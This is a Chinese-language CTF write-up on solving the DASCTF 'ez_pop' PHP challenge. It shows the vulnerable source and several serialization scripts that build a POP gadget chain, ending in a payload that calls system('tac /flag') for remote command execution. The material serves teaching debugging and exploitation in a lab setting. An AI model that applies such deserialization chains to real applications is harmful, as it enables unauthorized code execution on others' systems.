前言
今年NCTF的时候有一位师傅来问过我一个很好的问题,当时我自己也不是很会,也不知道该如何去回答这个问题
你们这些大佬都是怎么找到这些新特性的呀,比如这次的原型链污染,我怎么知道要污染这个属性呢
看过我CTFshow之thinkphp专题的文章的师傅应该看的出来,那里面的分析其实我都是静态分析,并没有通过动态调试慢慢的补全,而是借着前人的exp进行攻击,即使是SU_pop那道题也是,不过Cakephp其实比较简单,链子并不复杂,也不是很需要动调,今天做了一道比较有意思的题目,恍惚间顿悟了动调的真正含义,于是写下这篇文章记录学习过程,同时也会用一个很简单的例子来讲讲如何动调挖掘污染链
ez_pop
这是一道DASCTF的原题,在当时这种绕过方法(fast-destruct)应该相当时髦,不过我在打入链子时发现一个小小的问题,让我们一起来看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| <?php highlight_file(__FILE__); error_reporting(0);
class fine { private $cmd; private $content;
public function __construct($cmd, $content) { $this->cmd = $cmd; $this->content = $content; }
public function __invoke() { call_user_func($this->cmd, $this->content); }
public function __wakeup() { $this->cmd = ""; die("Go listen to Jay Chou's secret-code! Really nice"); } }
class show { public $ctf; public $time = "Two and a half years";
public function __construct($ctf) { $this->ctf = $ctf; }
public function __toString() { return $this->ctf->show(); }
public function show(): string { return $this->ctf . ": Duration of practice: " . $this->time; }
}
class sorry { private $name; private $password; public $hint = "hint is depend on you"; public $key;
public function __construct($name, $password) { $this->name = $name; $this->password = $password; }
public function __sleep() { $this->hint = new secret_code(); }
public function __get($name) { $name = $this->key; $name(); }
public function __destruct() { if ($this->password == $this->name) {
echo $this->hint; } else if ($this->name = "jay") { secret_code::secret(); } else { echo "This is our code"; } }
public function getPassword() { return $this->password; }
public function setPassword($password): void { $this->password = $password; }
}
class secret_code { protected $code;
public static function secret() { include_once "hint.php"; hint(); }
public function __call($name, $arguments) { $num = $name; $this->$num(); }
private function show() { return $this->code->secret; } }
if (isset($_GET['pop'])) { $a = unserialize($_GET['pop']); $a->setPassword(md5(mt_rand())); } else { $a = new show("Ctfer"); echo $a->show(); }
|
我们看到最开始,首先想到触发secret()
,获得其中hint.php
,但是并没什么作用。
1 2 3 4 5 6 7 8 9
| <?php class sorry { private $name="jay"; private $password;
} $a=new sorry(); echo urlencode(serialize($a));
|

只是嵌入了一个B站进去,抓包得知其php版本,修饰符不敏感

初步分析得知pop链如下
1
| XX::XXX()->show::__toString()->secret_code::show()->sorry::__get($name)->fine::__invoke()
|
但是不知道怎么触发__toString()
,

这里进行了字符串比较,我猜可以触发,试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class sorry { public $name; public $password; public $hint; public $key;
} class show { public $ctf; } class secret_code { public $code; } class fine { public $cmd; public $content; } $a=new sorry(); $a->name=new show(); echo urlencode(serialize($a));
|

但是我并不确定在那个__destruct()
中是哪里触发的,所以我把条件语句都打了断点发现

并不是刚才所说的else if触发的,那不管接着写就好了,链子已经被补全了,正当我准备getshell的时候发现了一个奇怪的事情,因为这题需要使用fast-destruct绕过wakeup,但是我使用这样的exp的时候发现他不是像之前一样跳转的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class sorry { public $name; public $password; public $hint; public $key;
} class show { public $ctf; } class secret_code { public $code; } class fine { public $cmd; public $content; } $a=new sorry(); $a->name=new show(); $a->name->ctf=new secret_code(); $a->name->ctf->code=new sorry(); $a->name->ctf->code->name=new fine(); echo urlencode(serialize($a));
|

这将会给$this->name
赋值为"jay"
,也就是说不会再触发__toString
了,而会给我们看hint,那我把链尾删掉,他又是正常触发的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php class sorry { public $name; public $password; public $hint; public $key;
} class show { public $ctf; } class secret_code { public $code; } class fine { public $cmd; public $content; } $a=new sorry(); $a->name=new show(); $a->name->ctf=new secret_code(); $a->name->ctf->code=new sorry(); echo urlencode(serialize($a));
|

能触发__toString
的肯定就在这里面,那唯一一个还没用到的是echo $this->hint;
,那我们重新构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php class sorry { public $name; public $password; public $hint; public $key;
} class show { public $ctf; } class secret_code { public $code; } class fine { public $cmd; public $content; } $a=new sorry(); $a->name="c"; $a->password="c"; $a->hint=new show(); $a->hint->ctf=new secret_code(); $a->hint->ctf->code=new sorry(); $a->hint->ctf->code->key=new fine(); echo urlencode(serialize($a));
|

$this->hint
是对象,这里肯定会触发,解决这道题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php class sorry { public $name; public $password; public $hint; public $key;
} class show { public $ctf; } class secret_code { public $code; } class fine { public $cmd; public $content; } $a=new sorry(); $a->name="c"; $a->password="c"; $a->hint=new show(); $a->hint->ctf=new secret_code(); $a->hint->ctf->code=new sorry(); $a->hint->ctf->code->key=new fine(); $a->hint->ctf->code->key->cmd="system"; $a->hint->ctf->code->key->content="tac /flag"; echo urlencode(serialize($a));
|

thinkphp cakephp等框架去慢慢动调挖掘,也是very good,这里只介绍pop的,因为弟弟我实在是太菜😭,后面会其他了,再单独写